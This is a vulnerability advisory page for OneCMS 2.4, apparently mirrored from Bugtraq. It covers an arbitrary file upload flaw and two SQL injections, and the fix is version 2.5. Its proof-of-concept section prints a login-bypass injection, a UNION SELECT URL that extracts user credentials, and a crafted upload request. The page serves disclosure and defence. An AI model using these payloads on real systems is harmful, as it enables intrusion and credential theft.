OneCMS Arbitrary File Upload Vulnerability and Multiple SQL-injection Vulnerabilities

BID:27158

Info

OneCMS Arbitrary File Upload Vulnerability and Multiple SQL-injection Vulnerabilities

Bugtraq ID: 27158
Class: Input Validation Error
CVE: CVE-2008-7209
CVE-2008-7208
Remote: Yes
Local: No
Published: Jan 07 2008 12:00AM
Updated: Jul 06 2016 02:17PM
Credit: AmnPardaz Security Research Team is credited with the discovery of these vulnerabilities.
Vulnerable: insanevisions OneCMS 2.4
Not Vulnerable: insanevisions OneCMS 2.5

Discussion

OneCMS Arbitrary File Upload Vulnerability and Multiple SQL-injection Vulnerabilities

OneCMS is prone to an arbitrary-file-upload vulnerability and two SQL-injection vulnerabilities because the applications fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to upload and execute arbitrary code within the context of the webserver process, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect OneCMS 2.4; other versions may also be affected.

Exploit / POC

OneCMS Arbitrary File Upload Vulnerability and Multiple SQL-injection Vulnerabilities

An attacker can use a browser to exploit these issues.

The following proofs of concept are available:

SQL-injection attack:

Username: admin' or 1=1 /*
Password: something

http://www.example.com/OneCMS_v2.4/staff.php?user=aaa' union select
1,username,password,1,1,1,1,1,1,1,1,1,1 from onecms_users/* '

Arbitrary-file-upload attack:

POST /OneCMS_v2.4/a_upload.php?view=add2 HTTP/1.0
Cookie: username=admin'or 1=1/*;
password=96e79218965eb72c92a549dd5a330112; login_date=1199693273;
style=Trend

Solution / Fix

OneCMS Arbitrary File Upload Vulnerability and Multiple SQL-injection Vulnerabilities

Solution:
The vendor released OneCMS 2.5 to address this issue. Please see the references for more information.


insanevisions OneCMS 2.4

References

OneCMS Arbitrary File Upload Vulnerability and Multiple SQL-injection Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report